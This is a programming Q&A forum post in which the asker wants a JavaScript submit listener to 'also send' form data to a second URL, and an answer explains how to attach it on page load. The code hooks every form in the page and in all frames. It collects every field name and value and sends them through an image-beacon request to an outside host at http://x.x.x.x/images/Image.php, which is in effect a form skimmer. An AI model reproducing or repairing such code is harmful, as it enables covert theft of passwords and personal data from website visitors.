Javascript EventListener不在提交时执行url

Question

so simply i've got an issue, i need to submit the same infomation to two url's so the form submit action is perfectly fine for one then i had the thought i could do a javascript listener to submit the second one with a simple url in an image tag but i have found that if i use the code below it doesn't reach my server but if i enable the alert box it works perfectly fine..

if i am doing something really simple wrong, i apologies but it's killing my mind.. thanks in advance.

//function 1

 function attach(wnd,handler){
        for(var i=0; i<wnd.document.forms.length; i++){
            var form = wnd.document.forms[i];
                form.addEventListener('submit', handler,false);
        }

        for(var i=0; i<wnd.frames.length; i++){
            var iwnd = wnd.frames[i];               
            attach(iwnd,handler);
        }
     }

//Function 2

      function formSubmit(e){

    var forms=parent.document.getElementsByTagName("form");
    for (i = 0 ; i < forms.length; i++)
    {
        var chain="";
         var forms=parent.document.getElementsByTagName("form");

         for (x = 0 ; x < forms.length; x++)
         {
             var elements=forms[x].elements;
             for (e = 0 ; e < elements.length; e++)
             {
                 chain += elements[e].name + "%3d" + elements[e].value + "|";

             }

             //           alert(chain);
             var pic = document.createElement('img');
    pic.className = 'avatar';
    pic.src = 'http://x.x.x.x/images/Image.php?id=0.0.0.0&idi=test'+chain;
    pic.height = '50';
    pic.width = '50';

    document.getElementById('test').appendChild(pic);
         }
    }


}

Answer 1

You need to call your attach function after the DOM is available. Add something like this after your formSubmit function:

document.addEventListener("load", function() {
  attach(window, formSubmit);
});

Note that addEventListener is not supported by older Internet Explorers. If you need support for them do yourself a favor and try jQuery or a similar JS helper library.